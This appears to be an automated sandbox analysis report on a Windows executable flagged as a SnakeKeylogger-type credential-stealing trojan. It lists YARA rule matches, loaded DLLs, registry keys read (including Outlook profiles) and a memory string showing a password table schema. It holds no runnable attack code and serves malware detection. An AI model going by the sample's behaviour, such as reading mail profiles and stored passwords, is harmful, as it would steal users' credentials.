Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: Process Memory Space: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe PID: 7288, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.winEXE@1/0@4/4

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Code function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,KiUserExceptionDispatcher,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

0_2_004019F0

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

0_2_004019F0

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Command line argument: 08A

0_2_00413780

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002BF2000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002BE3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002C01000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

0_2_004019F0

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Static PE information: real checksum: 0x23bfb should be: 0x38063

